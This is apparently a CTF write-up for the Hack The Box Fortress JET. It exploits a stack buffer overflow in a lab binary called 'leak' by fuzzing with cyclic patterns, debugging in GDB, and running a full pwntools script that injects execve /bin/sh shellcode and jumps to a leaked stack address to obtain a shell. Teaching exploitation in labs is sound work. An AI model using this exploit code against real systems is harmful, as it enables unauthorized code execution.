While doing the HTB Fortress JET I am required to overflow a vulnerable binary named leak. With limited BOF experience (strictly to Immunity Debugger) I decided this is a good time to learn how to use PwnTools.
┌──(kali㉿kali)-[/htb/jet/files/pwn] └─$ ./leak Oops, I'm leaking! 0x7ffc9b69e5c0 Pwn me ¯\_(ツ)_/¯ ┌──(kali㉿kali)-[/htb/jet/files/pwn] └─$ ./leak Oops, I'm leaking! 0x7ffdde939780 Pwn me ¯\_(ツ)_/¯
Every time we run the binary, it gives us a different memory location.
We see here with a large string the binary crashes.
Let’s create a pattern using PwnTool’s cyclic tool.
pwn cyclic 200 > fuzz
Crashed at 71 characters and starts to feed into RSP at 72.
After much Googling and learning how to use GDB I learn that the hex value given to us when we run the binary will always point to the input we’ve given.
pwndbg> run Starting program: /htb/jet/files/pwn/leak AAAA [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Oops, I'm leaking! 0x7fffffffde80 Pwn me ¯\_(ツ)_/¯ > ABCD Breakpoint 1, 0x000000000040088e in main ()
pwndbg> x 0x7fffffffde80 0x7fffffffde80: 0x44434241 #Note little Endian
We can see in the image above that all 71 characters get put into this location, so should be a great place for our shell code to hide.
What appears to be happening is the binary runs and allows us to enter up to 71 bytes. This can be anything, in our case it’s going to be shell code. At 72 bytes we overflow the buffer into RIP, at which point we can insert the memory address leaked to us by the binary, pointing to the start of our shell code. The program then crashes and the RIP points to the ret function, which is overwritten with our memory address.
*RSP 0x7fffffffded8 ◂— 'saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab' *RIP 0x40088e (main+95) ◂— ret ► 0x40088e <main+95> ret <0x6161617461616173>
from pwn import * #Execute the binary and grab the leaked address sh = process("./leak") sh.recvuntil(b"Oops, I'm leaking! ") #Here comes the address, because it's coming in as bytes and we need hex we have to convert to a decimal integer and then back to 64bit. pointer = int(sh.recvuntil(b"\n"),16) #Our shell code, grabbed from ExploitDB shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" #PwnTool's cyclic find to find the total number of bytes before we overflow into RBP. #We want to have shell code + padding to overflow the buffer shellcode += cyclic(cyclic_find('saaa')-len(shellcode)) #Now we're writing into RBP, we can enter the leaked memory address from earlier. shellcode += p64(pointer) #Now we'll continue to receive from the binary until we can input our payload and drop into an interactive session, hopefully to a prompt. sh.recvuntil(b"> ") sh.sendline(shellcode) sh.interactive()
┌──(kali㉿kali)-[/htb/jet/files/pwn] └─$ python3 pwn-leak.py [+] Starting local process './leak': pid 6331 [*] Switching to interactive mode $ whoami kali
Awesome, so this works locally. Now to connect it to a remote process.
sh = connectc('127.0.0.1', 5000) sh.recvuntil(b"Oops, I'm leaking! ") pointer = int(sh.recvuntil(b"\n"),16) shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" shellcode += cyclic(cyclic_find('saaa')-len(shellcode)) shellcode += p64(pointer) sh.recvuntil(b"> ") sh.sendline(shellcode) sh.interactive()
We can open up the process to remote connections using socat.
socat tcp-l:5000,reuseaddr,fork EXEC:"./leak"
For the purposes of our HTB challenge we’ve now popped a shell as the user who owns this binary.